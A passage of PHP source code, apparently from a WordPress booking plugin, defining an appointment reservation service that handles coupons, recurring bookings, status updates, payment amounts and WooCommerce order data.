AppointmentReservationService * * @package AmeliaBooking\Application\Services\Reservation */ class AppointmentReservationService extends AbstractReservationService { /** * @return string */ public function getType() { return Entities::APPOINTMENT; } /** * @param array $appointmentData * @param Reservation $reservation * @param bool $save * * @return void * * @throws CouponExpiredException * @throws CouponInvalidException * @throws CouponUnknownException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception * @throws ContainerException */ public function book($appointmentData, $reservation, $save) { /** @var CouponApplicationService $couponAS */ $couponAS = $this->container->get('application.coupon.service'); /** @var Coupon $coupon */ $coupon = !empty($appointmentData['couponCode']) ? $couponAS->processCoupon( $appointmentData['couponCode'], array_unique( array_merge([$appointmentData['serviceId']], array_column($appointmentData['recurring'], 'serviceId')) ), Entities::APPOINTMENT, $appointmentData['bookings'][0]['customerId'], $reservation->hasCouponValidation()->getValue() ) : null; $allowedCouponLimit = $coupon ? $couponAS->getAllowedCouponLimit( $coupon, $appointmentData['bookings'][0]['customerId'] ) : 0; if ($allowedCouponLimit > 0 && $coupon->getServiceList()->keyExists($appointmentData['serviceId'])) { $appointmentData['bookings'][0]['coupon'] = $coupon->toArray(); $appointmentData['bookings'][0]['couponId'] = $coupon->getId()->getValue(); $allowedCouponLimit--; } $this->bookSingle($reservation, $appointmentData, $reservation->hasAvailabilityValidation()->getValue(), $save); $reservation->setApplyDeposit(new BooleanValueObject($appointmentData['bookings'][0]['deposit'])); /** @var Payment $payment */ $payment = $save && $reservation->getBooking() && $reservation->getBooking()->getPayments()->length() ? $reservation->getBooking()->getPayments()->getItem(0) : null; /** @var Service $bookable */ $bookable = $reservation->getBookable(); /** @var Collection $recurringReservations */ $recurringReservations = new Collection(); if (!empty($appointmentData['recurring'])) { foreach ($appointmentData['recurring'] as $index => $recurringData) { $recurringAppointmentData = array_merge( $appointmentData, [ 'providerId' => $recurringData['providerId'], 'locationId' => $recurringData['locationId'], 'bookingStart' => $recurringData['bookingStart'], 'parentId' => $reservation->getReservation()->getId() ? $reservation->getReservation()->getId()->getValue() : null, 'recurring' => [], 'package' => [] ] ); if (!empty($recurringAppointmentData['bookings'][0]['utcOffset'])) { $recurringAppointmentData['bookings'][0]['utcOffset'] = $recurringData['utcOffset']; } if ($allowedCouponLimit > 0 && $coupon->getServiceList()->keyExists($recurringAppointmentData['serviceId']) ) { $recurringAppointmentData['bookings'][0]['coupon'] = $coupon->toArray(); $recurringAppointmentData['bookings'][0]['couponId'] = $coupon->getId()->getValue(); $allowedCouponLimit--; } else { $recurringAppointmentData['bookings'][0]['coupon'] = null; $recurringAppointmentData['bookings'][0]['couponId'] = null; } if ($index >= $bookable->getRecurringPayment()->getValue()) { $recurringAppointmentData['payment']['gateway'] = PaymentType::ON_SITE; $recurringAppointmentData['bookings'][0]['deposit'] = 0; } $recurringAppointmentData['payment']['parentId'] = $payment ? $payment->getId()->getValue() : null; try { /** @var Reservation $recurringReservation */ $recurringReservation = new Reservation(); $recurringReservation->setApplyDeposit( new BooleanValueObject($index >= $bookable->getRecurringPayment()->getValue() ? false : $appointmentData['bookings'][0]['deposit']) ); $this->bookSingle( $recurringReservation, $recurringAppointmentData, $reservation->hasAvailabilityValidation()->getValue(), $save ); } catch (Exception $e) { if ($save) { /** @var Reservation $recurringReservation */ foreach ($recurringReservations->getItems() as $recurringReservation) { $this->deleteReservation($recurringReservation); } $this->deleteReservation($reservation); } throw $e; } $recurringReservations->addItem($recurringReservation); } } $reservation->setRecurring($recurringReservations); $reservation->setPackageCustomerServices(new Collection()); $reservation->setPackageReservations(new Collection()); } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Reservation $reservation * @param array $appointmentData * @param bool $inspectTimeSlot * @param bool $save * * @return void * * @throws NotFoundException * @throws BookingUnavailableException * @throws BookingsLimitReachedException * @throws CustomerBookedException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception * @throws ContainerException */ public function bookSingle($reservation, $appointmentData, $inspectTimeSlot, $save) { /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $appointmentStatusChanged = false; /** @var Service $service */ $service = $bookableAS->getAppointmentService($appointmentData['serviceId'], $appointmentData['providerId']); if ($service->getStatus()->getValue() === Status::HIDDEN) { throw new BookingUnavailableException( FrontendStrings::getCommonStrings()['time_slot_unavailable'] ); } /** @var Collection $existingAppointments */ $existingAppointments = $appointmentRepo->getFiltered( [ 'dates' => [$appointmentData['bookingStart'], $appointmentData['bookingStart']], 'services' => [$appointmentData['serviceId']], 'providers' => [$appointmentData['providerId']], 'skipServices' => true, 'skipProviders' => true, 'skipCustomers' => true, ] ); $bookingStatus = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getDefaultAppointmentStatus(); $appointmentData['bookings'][0]['status'] = $bookingStatus; if (!empty($appointmentData['payment']['gateway']) && !empty($appointmentData['payment']['orderStatus'])) { $appointmentData['bookings'][0]['status'] = $this->getWcStatus( Entities::APPOINTMENT, $appointmentData['payment']['orderStatus'], 'booking', false ) ?: $bookingStatus; } /** @var Appointment $existingAppointment */ $existingAppointment = $existingAppointments->length() ? $existingAppointments->getItem($existingAppointments->keys()[0]) : null; if (( !empty($appointmentData['payment']['gateway']) && $appointmentData['payment']['gateway'] === PaymentType::MOLLIE ) && !( !empty($appointmentData['bookings'][0]['packageCustomerService']['id']) && $reservation->getLoggedInUser() && $reservation->getLoggedInUser()->getType() === AbstractUser::USER_ROLE_CUSTOMER ) ) { $appointmentData['bookings'][0]['status'] = BookingStatus::PENDING; } if ($existingAppointment) { /** @var Appointment $appointment */ $appointment = AppointmentFactory::create($existingAppointment->toArray()); if (!empty($appointmentData['locationId'])) { $appointment->setLocationId(new Id($appointmentData['locationId'])); } /** @var CustomerBooking $booking */ $booking = CustomerBookingFactory::create($appointmentData['bookings'][0]); $booking->setAppointmentId($appointment->getId()); $booking->setPrice( new Price( $appointmentAS->getBookingPriceForServiceDuration( $service, $booking->getDuration() ? $booking->getDuration()->getValue() : null ) ) ); /** @var CustomerBookingExtra $bookingExtra */ foreach ($booking->getExtras()->getItems() as $bookingExtra) { /** @var Extra $selectedExtra */ $selectedExtra = $service->getExtras()->getItem($bookingExtra->getExtraId()->getValue()); $bookingExtra->setPrice($selectedExtra->getPrice()); } $maximumDuration = $appointmentAS->getMaximumBookingDuration($appointment, $service); if ($booking->getDuration() && $booking->getDuration()->getValue() > $maximumDuration ) { $service->setDuration(new PositiveDuration($maximumDuration)); } } else { /** @var Appointment $appointment */ $appointment = $appointmentAS->build($appointmentData, $service); /** @var CustomerBooking $booking */ $booking = $appointment->getBookings()->getItem($appointment->getBookings()->keys()[0]); $service->setDuration( new PositiveDuration($appointmentAS->getMaximumBookingDuration($appointment, $service)) ); } $bookableAS->modifyServicePriceByDuration($service, $service->getDuration()->getValue()); if ($inspectTimeSlot) { /** @var ApplicationTimeSlotService $applicationTimeSlotService */ $applicationTimeSlotService = $this->container->get('application.timeSlot.service'); // if not new appointment, check if customer has already made booking if ($appointment->getId() !== null && !$settingsDS->getSetting('appointments', 'bookMultipleTimes') ) { foreach ($appointment->getBookings()->keys() as $bookingKey) { /** @var CustomerBooking $customerBooking */ $customerBooking = $appointment->getBookings()->getItem($bookingKey); if ($customerBooking->getStatus()->getValue() !== BookingStatus::CANCELED && $booking->getCustomerId()->getValue() === $customerBooking->getCustomerId()->getValue() ) { throw new CustomerBookedException( FrontendStrings::getCommonStrings()['customer_already_booked_app'] ); } } } $selectedExtras = []; foreach ($booking->getExtras()->keys() as $extraKey) { $selectedExtras[] = [ 'id' => $booking->getExtras()->getItem($extraKey)->getExtraId()->getValue(), 'quantity' => $booking->getExtras()->getItem($extraKey)->getQuantity()->getValue(), ]; } if (!$applicationTimeSlotService->isSlotFree( $service, $appointment->getBookingStart()->getValue(), $appointment->getProviderId()->getValue(), $appointment->getLocationId() ? $appointment->getLocationId()->getValue() : null, $selectedExtras, null, $booking->getPersons()->getValue(), true )) { throw new BookingUnavailableException( FrontendStrings::getCommonStrings()['time_slot_unavailable'] ); } if ($booking->getPackageCustomerService() && $booking->getPackageCustomerService()->getId() && !empty($appointmentData['isCabinetBooking']) ) { /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); if (!$packageApplicationService->isBookingAvailableForPurchasedPackage( $booking->getPackageCustomerService()->getId()->getValue(), $booking->getCustomerId()->getValue(), true )) { throw new PackageBookingUnavailableException( FrontendStrings::getCommonStrings()['package_booking_unavailable'] ); } } $isPackageBooking = $booking->getPackageCustomerService() !== null; if (!$isPackageBooking && empty($appointmentData['isBackendOrCabinet']) && $this->checkLimitsPerCustomer( $service, $appointmentData['bookings'][0]['customerId'], $appointment->getBookingStart()->getValue() ) ) { throw new BookingsLimitReachedException(FrontendStrings::getCommonStrings()['bookings_limit_reached']); } } if ($save) { if ($existingAppointment) { $appointment->getBookings()->addItem($booking); $bookingsCount = $appointmentDS->getBookingsStatusesCount($appointment); $appointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment($service, $bookingsCount); $appointment->setStatus(new BookingStatus($appointmentStatus)); $appointmentStatusChanged = $existingAppointment->getStatus()->getValue() !== BookingStatus::CANCELED && $appointmentAS->isAppointmentStatusChanged( $appointment, $existingAppointment ); $appointmentAS->calculateAndSetAppointmentEnd($appointment, $service); $appointmentAS->update( $existingAppointment, $appointment, new Collection(), $service, $appointmentData['payment'] ); } else { $appointmentAS->add( $appointment, $service, !empty($appointmentData['payment']) ? $appointmentData['payment'] : null, !empty($appointmentData['payment']['isBackendBooking']) ); } } if ($appointment->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($appointment->getLocationId()->getValue()); $appointment->setLocation($location); } $reservation->setCustomer($booking->getCustomer()); $reservation->setBookable($service); $reservation->setBooking($booking); $reservation->setReservation($appointment); $reservation->setIsStatusChanged(new BooleanValueObject($appointmentStatusChanged)); } /** * @param CustomerBooking $booking * @param string $requestedStatus * * @return array * * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException * @throws NotFoundException * @throws BookingCancellationException */ public function updateStatus($booking, $requestedStatus) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var Appointment $appointment */ $appointment = $appointmentRepository->getById($booking->getAppointmentId()->getValue()); /** @var Service $service */ $service = $bookableAS->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); $requestedStatus = $requestedStatus === null ? $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getDefaultAppointmentStatus() : $requestedStatus; if ($requestedStatus === BookingStatus::CANCELED) { $minimumCancelTime = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToCanceling(); $this->inspectMinimumCancellationTime($appointment->getBookingStart()->getValue(), $minimumCancelTime); } $appointment->getBookings()->getItem($booking->getId()->getValue())->setStatus( new BookingStatus($requestedStatus) ); $oldBookingStatus = $booking->getStatus()->getValue(); $booking->setStatus(new BookingStatus($requestedStatus)); $bookingsCount = $appointmentDS->getBookingsStatusesCount($appointment); $appointmentStatus = $appointmentDS->getAppointmentStatusWhenChangingBookingStatus( $service, $bookingsCount, $requestedStatus ); $appointmentAS->calculateAndSetAppointmentEnd($appointment, $service); $appointmentRepository->beginTransaction(); try { $bookingRepository->updateStatusById($booking->getId()->getValue(), $requestedStatus); $appointmentRepository->updateStatusById($booking->getAppointmentId()->getValue(), $appointmentStatus); $appointmentRepository->updateFieldById( $appointment->getId()->getValue(), DateTimeService::getCustomDateTimeInUtc( $appointment->getBookingEnd()->getValue()->format('Y-m-d H:i:s') ), 'bookingEnd' ); } catch (QueryExecutionException $e) { $appointmentRepository->rollback(); throw $e; } $appStatusChanged = false; if ($appointment->getStatus()->getValue() !== $appointmentStatus) { $appointment->setStatus(new BookingStatus($appointmentStatus)); $appStatusChanged = true; /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { if (($customerBooking->getStatus()->getValue() === BookingStatus::APPROVED && $appointment->getStatus()->getValue() === BookingStatus::PENDING) || $booking->getId()->getValue() === $customerBooking->getId()->getValue() ) { $customerBooking->setChangedStatus(new BooleanValueObject(true)); } } } if (( ($oldBookingStatus === BookingStatus::CANCELED || $oldBookingStatus === BookingStatus::REJECTED) && ($requestedStatus === BookingStatus::PENDING || $requestedStatus === BookingStatus::APPROVED) ) || ( ($requestedStatus === BookingStatus::CANCELED || $requestedStatus === BookingStatus::REJECTED) && ($oldBookingStatus === BookingStatus::PENDING || $oldBookingStatus === BookingStatus::APPROVED) ) ) { $booking->setChangedStatus(new BooleanValueObject(true)); } $appointmentRepository->commit(); return [ Entities::APPOINTMENT => $appointment->toArray(), 'appointmentStatusChanged' => $appStatusChanged, Entities::BOOKING => $booking->toArray() ]; } /** * @param Appointment $reservation * @param CustomerBooking $booking * @param Service $bookable * * @return array * @throws InvalidArgumentException */ public function getBookingPeriods($reservation, $booking, $bookable) { $duration = ($booking->getDuration() && $booking->getDuration()->getValue() !== $bookable->getDuration()->getValue()) ? $booking->getDuration()->getValue() : $bookable->getDuration()->getValue(); /** @var CustomerBookingExtra $bookingExtra */ foreach ($booking->getExtras()->getItems() as $bookingExtra) { /** @var Extra $extra */ $extra = $bookable->getExtras()->getItem($bookingExtra->getExtraId()->getValue()); $duration += ($extra->getDuration() ? $bookingExtra->getQuantity()->getValue() * $extra->getDuration()->getValue() : 0); } return [ [ 'start' => DateTimeService::getCustomDateTimeInUtc( $reservation->getBookingStart()->getValue()->format('Y-m-d H:i:s') ), 'end' => DateTimeService::getCustomDateTimeInUtc( DateTimeService::getCustomDateTimeObject( $reservation->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify("+{$duration} seconds")->format('Y-m-d H:i:s') ) ] ]; } /** * @param array $data * * @return AbstractBookable * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws NotFoundException */ public function getBookableEntity($data) { /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); return $bookableAS->getAppointmentService($data['serviceId'], $data['providerId']); } /** * @param Service $bookable * * @return boolean */ public function isAggregatedPrice($bookable) { return $bookable->getAggregatedPrice()->getValue(); } /** * @param BooleanValueObject $bookableAggregatedPrice * @param BooleanValueObject $extraAggregatedPrice * * @return boolean */ public function isExtraAggregatedPrice($extraAggregatedPrice, $bookableAggregatedPrice) { return $extraAggregatedPrice === null ? $bookableAggregatedPrice->getValue() : $extraAggregatedPrice->getValue(); } /** * @param Reservation $reservation * @param string $paymentGateway * @param array $requestData * * @return array * * @throws InvalidArgumentException */ public function getWooCommerceData($reservation, $paymentGateway, $requestData) { /** @var Appointment $appointment */ $appointment = $reservation->getReservation(); /** @var Service $service */ $service = $reservation->getBookable(); /** @var AbstractUser $customer */ $customer = $reservation->getCustomer(); /** @var CustomerBooking $booking */ $booking = $reservation->getBooking(); $recurringAppointmentsData = []; if ($reservation->getRecurring()) { /** @var Reservation $recurringReservation */ foreach ($reservation->getRecurring()->getItems() as $key => $recurringReservation) { $recurringAppointmentData = [ 'providerId' => $recurringReservation->getReservation()->getProviderId()->getValue(), 'locationId' => $recurringReservation->getReservation()->getLocationId() ? $recurringReservation->getReservation()->getLocationId()->getValue() : null, 'bookingStart' => $recurringReservation->getReservation()->getBookingStart()->getValue()->format('Y-m-d H:i:s'), 'bookingEnd' => $recurringReservation->getReservation()->getBookingEnd()->getValue()->format('Y-m-d H:i:s'), 'notifyParticipants' => $recurringReservation->getReservation()->isNotifyParticipants(), 'status' => $recurringReservation->getReservation()->getStatus()->getValue(), 'utcOffset' => $recurringReservation->getBooking()->getUtcOffset() ? $recurringReservation->getBooking()->getUtcOffset()->getValue() : null, 'deposit' => $recurringReservation->getApplyDeposit()->getValue(), 'useCoupon' => $recurringReservation->getBooking()->getCouponId() ? true : false, ]; $recurringAppointmentData['couponId'] = !$recurringReservation->getBooking()->getCoupon() ? null : $recurringReservation->getBooking()->getCoupon()->getId()->getValue(); $recurringAppointmentData['couponCode'] = !$recurringReservation->getBooking()->getCoupon() ? null : $recurringReservation->getBooking()->getCoupon()->getCode()->getValue(); $recurringAppointmentData['useCoupon'] = $recurringReservation->getBooking()->getCoupon() !== null; $recurringAppointmentsData[] = $recurringAppointmentData; } } $info = [ 'type' => Entities::APPOINTMENT, 'serviceId' => $service->getId()->getValue(), 'providerId' => $appointment->getProviderId()->getValue(), 'locationId' => $appointment->getLocationId() ? $appointment->getLocationId()->getValue() : null, 'name' => $service->getName()->getValue(), 'couponId' => $booking->getCoupon() ? $booking->getCoupon()->getId()->getValue() : '', 'couponCode' => $booking->getCoupon() ? $booking->getCoupon()->getCode()->getValue() : '', 'bookingStart' => $appointment->getBookingStart()->getValue()->format('Y-m-d H:i'), 'bookingEnd' => $appointment->getBookingEnd()->getValue()->format('Y-m-d H:i'), 'status' => $appointment->getStatus()->getValue(), 'dateTimeValues' => [ [ 'start' => $appointment->getBookingStart()->getValue()->format('Y-m-d H:i'), 'end' => $appointment->getBookingEnd()->getValue()->format('Y-m-d H:i'), ] ], 'notifyParticipants' => $appointment->isNotifyParticipants(), 'bookings' => [ [ 'customerId' => $customer->getId() ? $customer->getId()->getValue() : null, 'customer' => [ 'email' => $customer->getEmail()->getValue(), 'externalId' => $customer->getExternalId() ? $customer->getExternalId()->getValue() : null, 'firstName' => $customer->getFirstName()->getValue(), 'id' => $customer->getId() ? $customer->getId()->getValue() : null, 'lastName' => $customer->getLastName()->getValue(), 'phone' => $customer->getPhone()->getValue(), 'countryPhoneIso' => $customer->getCountryPhoneIso() ? $customer->getCountryPhoneIso()->getValue() : null, ], 'info' => $booking->getInfo()->getValue(), 'persons' => $booking->getPersons()->getValue(), 'extras' => [], 'status' => $booking->getStatus()->getValue(), 'utcOffset' => $booking->getUtcOffset() ? $booking->getUtcOffset()->getValue() : null, 'customFields' => $booking->getCustomFields() ? json_decode($booking->getCustomFields()->getValue(), true) : null, 'deposit' => $reservation->getApplyDeposit()->getValue(), 'duration' => $booking->getDuration() ? $booking->getDuration()->getValue() : null, ] ], 'payment' => [ 'gateway' => $paymentGateway ], 'recurring' => $recurringAppointmentsData, 'package' => [], 'locale' => $reservation->getLocale()->getValue(), 'timeZone' => $reservation->getTimeZone()->getValue(), ]; foreach ($booking->getExtras()->keys() as $extraKey) { /** @var CustomerBookingExtra $bookingExtra */ $bookingExtra = $booking->getExtras()->getItem($extraKey); $info['bookings'][0]['extras'][] = [ 'extraId' => $bookingExtra->getExtraId()->getValue(), 'quantity' => $bookingExtra->getQuantity()->getValue() ]; } return $info; } /** * @param array $reservation * * @return array * * @throws InvalidArgumentException */ public function getWooCommerceDataFromArray($reservation, $index) { /** @var array $appointment */ $appointment = $reservation['appointment']; /** @var array $service */ $service = $reservation['bookable']; /** @var array $customer */ $customer = $reservation['customer']; /** @var array $booking */ $booking = $reservation['booking']; $customerInfo = !empty($booking['info']) ? json_decode($booking['info'], true) : null; $recurringAppointmentsData = []; if (!empty($reservation['recurring'])) { /** @var Reservation $recurringReservation */ foreach ($reservation['recurring'] as $key => $recurringReservation) { $recurringAppointmentData = [ 'providerId' => $recurringReservation['providerId'], 'locationId' => $recurringReservation['locationId'], 'bookingStart' => $recurringReservation['bookingStart'], 'bookingEnd' => $recurringReservation['bookingEnd'], 'notifyParticipants' => $recurringReservation['notifyParticipants'], 'status' => $recurringReservation['status'], 'utcOffset' => $recurringReservation['bookings'][$index]['utcOffset'], ]; $recurringAppointmentData['couponId'] = $recurringReservation['bookings'][$index]['couponId']; $recurringAppointmentData['couponCode'] = !$recurringReservation['bookings'][$index]['coupon'] ? null : $recurringReservation['bookings'][0]['coupon']['code']; $recurringAppointmentData['useCoupon'] = !!$recurringReservation['bookings'][$index]['couponId']; $recurringAppointmentsData[] = $recurringAppointmentData; } } $info = [ 'type' => Entities::APPOINTMENT, 'serviceId' => $service['id'], 'providerId' => $appointment['providerId'], 'locationId' => $appointment['locationId'], 'name' => $service['name'], 'couponId' => $booking['couponId'], 'couponCode' => !empty($booking['coupon']) ? $booking['coupon']['code'] : null, 'bookingStart' => $appointment['bookingStart'], 'bookingEnd' => $appointment['bookingEnd'], 'status' => $appointment['status'], 'dateTimeValues' => [ [ 'start' => $appointment['bookingStart'], 'end' => $appointment['bookingEnd'], ] ], 'notifyParticipants' => $appointment['notifyParticipants'], 'bookings' => [ [ 'customerId' => $customer['id'], 'customer' => [ 'email' => $customer['email'], 'externalId' => $customer['externalId'], 'firstName' => $customer['firstName'], 'id' => $customer['id'], 'lastName' => $customer['lastName'], 'phone' => $customer['phone'], 'countryPhoneIso' => $customer['countryPhoneIso'], ], 'info' => $booking['info'], 'persons' => $booking['persons'], 'extras' => [], 'status' => $booking['status'], 'utcOffset' => $booking['utcOffset'], 'customFields' => !empty($booking['customFields']) ? json_decode($booking['customFields'], true) : null, 'deposit' => $booking['payments'][0]['status'] === PaymentStatus::PARTIALLY_PAID, 'duration' => $booking['duration'], ] ], 'payment' => [ 'gateway' => $booking['payments'][0]['gateway'] ], 'recurring' => $recurringAppointmentsData, 'package' => [], 'locale' => $customerInfo ? $customerInfo['locale'] : null, 'timeZone' => $customerInfo ? $customerInfo['timeZone'] : null, ]; foreach ($booking['extras'] as $extra) { $info['bookings'][0]['extras'][] = [ 'extraId' => $extra['extraId'], 'quantity' => $extra['quantity'] ]; } return $info; } /** * @param CustomerBooking $booking * @param Appointment $appointment * * @return array * * @throws ContainerException */ public function updateWooCommerceOrder($booking, $appointment) { /** @var Payment $payment */ foreach ($booking->getPayments()->getItems() as $payment) { if ($payment->getWcOrderId() && $payment->getWcOrderId()->getValue()) { $appointmentArrayModified = $appointment->toArray(); $appointmentArrayModified['bookings'] = [$booking->toArray()]; foreach ($appointmentArrayModified['bookings'] as &$booking2) { if (!empty($booking2['customFields'])) { $customFields = json_decode($booking2['customFields'], true); $booking2['customFields'] = $customFields; } } $appointmentArrayModified['dateTimeValues'] = [ [ 'start' => $appointment->getBookingStart()->getValue()->format('Y-m-d H:i'), 'end' => $appointment->getBookingEnd()->getValue()->format('Y-m-d H:i'), ] ]; WooCommerceService::updateItemMetaData( $payment->getWcOrderId()->getValue(), $appointmentArrayModified ); foreach ($appointmentArrayModified['bookings'] as &$bookingArray) { if (!empty($bookingArray['customFields'])) { $bookingArray['customFields'] = json_encode($bookingArray['customFields']); } } } } } /** * @param int $id * * @return Appointment * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getReservationByBookingId($id) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Appointment $appointment */ return $appointmentRepository->getByBookingId($id); } /** * @param Reservation $reservation * * @return float * * @throws InvalidArgumentException */ public function getReservationPaymentAmount($reservation) { /** @var Service $bookable */ $bookable = $reservation->getBookable(); $paymentAmount = $this->getPaymentAmount($reservation->getBooking(), $bookable); if ($reservation->getApplyDeposit()->getValue()) { $paymentAmount = $this->calculateDepositAmount( $paymentAmount, $bookable, $reservation->getBooking()->getPersons()->getValue() ); } /** @var Reservation $recurringReservation */ foreach ($reservation->getRecurring()->getItems() as $index => $recurringReservation) { /** @var Service $recurringBookable */ $recurringBookable = $recurringReservation->getBookable(); if ($index < $recurringBookable->getRecurringPayment()->getValue()) { $recurringPaymentAmount = $this->getPaymentAmount( $recurringReservation->getBooking(), $recurringBookable ); if ($recurringReservation->getApplyDeposit()->getValue()) { $recurringPaymentAmount = $this->calculateDepositAmount( $recurringPaymentAmount, $recurringBookable, $recurringReservation->getBooking()->getPersons()->getValue() ); } $paymentAmount += $recurringPaymentAmount; } } return $paymentAmount; } /** * @param Payment $payment * @param boolean $fromLink * * @return CommandResult * @throws InvalidArgumentException * @throws Exception */ public function getReservationByPayment($payment, $fromLink = false) { $result = new CommandResult(); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); $recurringData = []; /** @var Appointment $appointment */ $appointment = $appointmentRepository->getByPaymentId($payment->getId()->getValue()); if ($appointment->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($appointment->getLocationId()->getValue()); $appointment->setLocation($location); } /** @var CustomerBooking $booking */ $booking = $appointment->getBookings()->getItem($payment->getCustomerBookingId()->getValue()); $booking->setChangedStatus(new BooleanValueObject(true)); $this->setToken($booking); /** @var AbstractUser $customer */ $customer = $customerRepository->getById($booking->getCustomerId()->getValue()); /** @var Collection $nextPayments */ $nextPayments = $paymentRepository->getByEntityId($payment->getId()->getValue(), 'parentId'); /** @var Payment $nextPayment */ foreach ($nextPayments->getItems() as $nextPayment) { /** @var Appointment $nextAppointment */ $nextAppointment = $appointmentRepository->getByPaymentId($nextPayment->getId()->getValue()); if ($nextAppointment->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($nextAppointment->getLocationId()->getValue()); $nextAppointment->setLocation($location); } /** @var CustomerBooking $nextBooking */ $nextBooking = $nextAppointment->getBookings()->getItem( $nextPayment->getCustomerBookingId()->getValue() ); /** @var Service $nextService */ $nextService = $bookableAS->getAppointmentService( $nextAppointment->getServiceId()->getValue(), $nextAppointment->getProviderId()->getValue() ); $recurringData[] = [ 'type' => Entities::APPOINTMENT, Entities::APPOINTMENT => $nextAppointment->toArray(), Entities::BOOKING => $nextBooking->toArray(), 'appointmentStatusChanged' => true, 'utcTime' => $this->getBookingPeriods( $nextAppointment, $nextBooking, $nextService ), 'isRetry' => !$fromLink, 'fromLink' => $fromLink ]; } /** @var Service $service */ $service = $bookableAS->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); $customerCabinetUrl = ''; if ($customer && $customer->getEmail() && $customer->getEmail()->getValue() && $booking->getInfo() && $booking->getInfo()->getValue() ) { $infoJson = json_decode($booking->getInfo()->getValue(), true); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $customerCabinetUrl = $helperService->getCustomerCabinetUrl( $customer->getEmail()->getValue(), 'email', $appointment->getBookingStart()->getValue()->format('Y-m-d'), $appointment->getBookingEnd()->getValue()->format('Y-m-d'), $infoJson['locale'] ); } $result->setData( [ 'type' => Entities::APPOINTMENT, Entities::APPOINTMENT => $appointment->toArray(), Entities::BOOKING => $booking->toArray(), 'customer' => $customer->toArray(), 'packageId' => 0, 'recurring' => $recurringData, 'appointmentStatusChanged' => true, 'bookable' => $service->toArray(), 'utcTime' => $this->getBookingPeriods( $appointment, $booking, $service ), 'isRetry' => !$fromLink, 'paymentId' => $payment->getId()->getValue(), 'packageCustomerId' => null, 'payment' => [ 'id' => $payment->getId()->getValue(), 'amount' => $payment->getAmount()->getValue(), 'status' => $payment->getStatus()->getValue(), 'gateway' => $payment->getGateway()->getName()->getValue(), 'gatewayTitle' => $payment->getGatewayTitle() ? $payment->getGatewayTitle()->getValue() : '', ], 'customerCabinetUrl' => $customerCabinetUrl, 'fromLink' => $fromLink ] ); return $result; } /** * @param int $bookingId * * @return CommandResult * @throws InvalidArgumentException * @throws Exception */ public function getBookingResultByBookingId($bookingId) { $result = new CommandResult(); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); $recurringData = []; /** @var Appointment $appointment */ $appointment = $appointmentRepository->getByBookingId($bookingId); if ($appointment->getLocationId()) { /** @var Location $location */ $location = $locationRepository->getById($appointment->getLocationId()->getValue()); $appointment->setLocation($location); } /** @var CustomerBooking $booking */ $booking = $appointment->getBookings()->getItem($bookingId); $booking->setChangedStatus(new BooleanValueObject(true)); $this->setToken($booking); /** @var AbstractUser $customer */ $customer = $customerRepository->getById($booking->getCustomerId()->getValue()); /** @var Service $service */ $service = $bookableAS->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); $customerCabinetUrl = ''; if ($customer && $customer->getEmail() && $customer->getEmail()->getValue() && $booking->getInfo() && $booking->getInfo()->getValue() ) { $infoJson = json_decode($booking->getInfo()->getValue(), true); /** @var HelperService $helperService */ 